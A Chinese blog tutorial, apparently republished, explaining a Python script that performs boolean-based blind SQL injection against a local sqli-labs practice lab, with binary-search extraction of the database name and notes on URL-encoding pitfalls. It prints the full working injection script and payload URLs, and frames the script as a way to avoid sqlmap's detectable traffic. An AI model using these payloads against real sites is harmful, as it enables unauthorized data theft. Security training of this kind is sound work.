python脚本实现布尔盲注

ops/2024/10/21 14:34:25/

目录

代码实现

代码解释

过程中遇到的问题

1、+号url编码问题

2、二分法查找

3、如何判断这一次循环内的变量值等于上一次的值

第一种思路

第二种思路


相信师傅们在平常渗透测试中,偶尔会遇到布尔盲注的情况,但是手工的话太慢,上sqlmap流量又太大,特征太明显。所以用python脚本就是最优解,可以自定义user-agent等字段,注入速度等

代码实现

这里以sql-labs举例,代码比较粗糙,能用就行。话不多说,上代码

python">import requests
import math# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and length(database())>7--+
# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>114--+
url = "http://192.168.239.1/sqlilabs7/Less-8/"def getdblength():for i in range(20):payload = f"1' and length(database())>{i}-- "data = {'id': payload}res = requests.get(url, params=data)if 'You are in...........' not in res.text:return idef getdbname():dbname = ''length = getdblength()for i in range(1, length + 1):low = 32high = 126flag = 0while low <= high:mid = (low + high) // 2payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "data = {'id': payload}res = requests.get(url, params=data)if 'You are in...........' in res.text:low = midelse:high = midif mid == flag:dbname += chr(math.floor(mid + 1))breakflag = midprint(dbname)return dbnameprint('dbname is', getdbname())

代码解释

我定义了两个函数

getdblength()  获取数据库名长度,遍历1~20,查询出数据库名长度

getdbname()   获取数据库名,使用二分法查找,查询出数据库名

getdblength函数相信大家都能看懂,这里重点解释一下getdbname()函数

第一层for循环是substr的第二个参数,即从字符串的哪个字符位置截取数据库名(mysql的substr默认从1开始),范围也就是(1,length+1)

第二层while循环是与ascii码比较的参数,即截取出来的字符转ascii码后进行比较

这里的范围重点说一下,我这里用的是二分法查找,说明白点就是从一个范围的中位数查找,通过结果来缩小范围,比如第一层循环的范围的是32~126,那取中位数就是79,用79作为payload来判断结果是否为真,若为真,则说明答案在79~126之间,然后以这个范围再做为第二层循环的范围,以此类推

那为什么范围是32~126呢?

因为在ascii码中32~126包含了字符数字字母,32以下和127都是不可见字符,不可能出现在数据库名中

过程中遇到的问题

然后下面我来说说我在写脚本的过程中遇到的问题

1、+号url编码问题

在Python requests.get函数中,param参数会自动把参数内容进行URL编码,我们要的是-- ,+号在W3C官方文档中规定代替空格,而如果你在payload中再写入+号,此时+号再被url编码就变为了%2B,后端url解码后,mysql并不认识+号,所以无法正常查询

前面说到ascii码32~126是可见字符,说明下面的sql语句条件肯定成立,返回结果应该为真,但是这里看到为假,说明sql语句并没有被正常执行,%2B并没有被mysql正常解析

python">http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>32--%2B

2、二分法查找

二分法查找,从一个范围的中位数查找,通过结果来缩小范围,速度比遍历快得不止一星半点儿。

因为中位数随时会变化,所以while循环比for循环更适合

3、如何判断这一次循环内的变量值等于上一次的值

这个问题我是思考得最久的,但现在回想起来也是最简单的,可能是因为太久没写脚本了,有点忘了

具体问题就是,在二分法循环查找的过程中,最后范围会缩小,low和high的差距会缩小为1,而mid此时也不会再变化,是一个固定的值,那如何把这个数取出来呢。

第一种思路

我开始想的是既然low和high最后的差距会缩小为1,那索性就写成

python">if high - low == 1:dbname += chr(math.floor(mid))break

但事实证明这是错误的,数据库名爆出来是 sebtq.... ,与原来的security的ascii码相差1,这个问题我思考了很久,为什么前面se是对的,后面的又不对?(这里忘截图了)

最后我在调试中发现,有些时候的查找情况并不相同

第一种情况

比如c这个字母的ascii码是99,那按照二分法查找的逻辑来,

首先99>79,为真,那范围就变成了79~126;

然后99>102(向下取整),为假,范围就变成了79~102;

99>90,为真,范围 90~102;

99>96,为真,范围 96~102;

99>99,为假,范围 96~99;

99>97,为真,范围 97~99;

99>98,为真,范围 98~99;

但此时就出问题了,if条件是high-low==1,满足条件,mid=98,ascii码转为b

第二种情况和第一种类似,但是有一些细微差距

s这个字母的ascii码是115

前面和上面一样,慢慢推

只是最后

115>117,为假,范围114~117

115>115,为假,范围114~115

此时进入if条件,mid=115,刚好为s

所以如果用这种方法来判断是行不通的,因为mid会随机-1或刚好是你想要的字母,你无法预见mid值是否会比正确的值-1

第二种思路

我发现二分查找到最后,mid会一直不变,都是同样一个数。

那有没有一种方法能够比较这一层循环的mid和上一层循环的mid呢?

那就是代码中flag变量的意义,代码中可以看到flag首先在循环外声明,然后在循环内将mid最终的值赋给了flag来保存这个值,然后if条件判断flag也就是上一层mid的值是否与这一层循环mid的值相同,如果相同,则保存

最后成功打印出了数据库名

这个方法很常见,但是我当时就是没想到,可能是太久没碰代码了,所以今天才写这篇文章来加深印象


http://www.ppmy.cn/ops/27155.html

相关文章

微信小程序 - 登录(切屏后继续倒计时)

屏幕休眠或后台运行倒计时暂停问题 updateTime: function () {let promise new Promise((resolve, reject) > {var beginTime new Date().getTime();let setTimer setInterval(() > {var newTime new Date().getTime();var dTime (newTime - beginTime) / 1000;dTim…

50. 【Android教程】xml 数据解析

xml 是一种标记扩展语言&#xff08;Extension Mark-up Language&#xff09;&#xff0c;学到这里大家对 xml 语言一定不陌生&#xff0c;但是它在 Android 中的运用其实只是冰山一角。抛开 Android&#xff0c;XML 也被广泛运用于各种数据结构中。在运用 xml 编写 Android 布…

Gateway路由

Route以微服务名-动态获取服务URI 痛点&#xff1a;路由url写死问题。 是什么 https://docs.spring.io/spring-cloud-gateway/reference/spring-cloud-gateway/global-filters.html#reactive-loadbalancer-client-filter 修改 9527 yml中的url 测试 如果将8001微服务ym1文件端…

python——Pandas库

Pandas 是一个非常强大的 Python 库&#xff0c;专门用于数据处理和分析。在处理 Excel 文件时&#xff0c;它提供了简单且功能丰富的 API&#xff0c;使得读取、写入、筛选、修改以及分析 Excel 数据变得十分便捷。以下是一些常用的 Pandas API 及其应用场景&#xff0c;以及如…

【Numpy】一文向您详细介绍 np.linspace()

【Numpy】一文向您详细介绍 np.linspace() &#x1f308; 欢迎莅临我的个人主页&#x1f448; 这里是我静心耕耘深度学习领域、真诚分享知识与智慧的小天地&#xff01;&#x1f387; &#x1f393; 博主简介&#xff1a;985高校的计算机专业人士&#xff0c;热衷于分享技术见…

【Docker学习】docker checkpoint简单了解

docker checkpoint是一个试验性的功能&#xff0c;旨在用于测试和反馈&#xff0c;未来不确定是否会发生变化或是被删除掉&#xff0c;现有的功能我们可以简单了解了解。 docker checkpoint主要用于管理检查点&#xff08;CheckPoint&#xff09;。检查点&#xff08;CheckPoi…

python绘制R控制图(Range Chart)

R控制图&#xff08;Range Chart&#xff09;&#xff0c;也称为范围图或移动极差图&#xff0c;是一种用于分析和控制生产过程中的变异性的统计工具。它通常与Xbar控制图&#xff08;均值图&#xff09;一起使用&#xff0c;可以提供关于生产过程变异性的额外信息。以下是R控制…

python vtk 非结构化网格体渲染

import vtk# 创建一个非结构化网格对象 unstructuredGrid vtk.vtkUnstructuredGrid()# 创建点&#xff08;例如&#xff1a;vtkPoints对象&#xff09;并将其设置到非结构化网格对象上 points vtk.vtkPoints() point0 [0.0, 0.0, 0.0] point1 [1.0, 0.0, 0.0] point2 [1.0…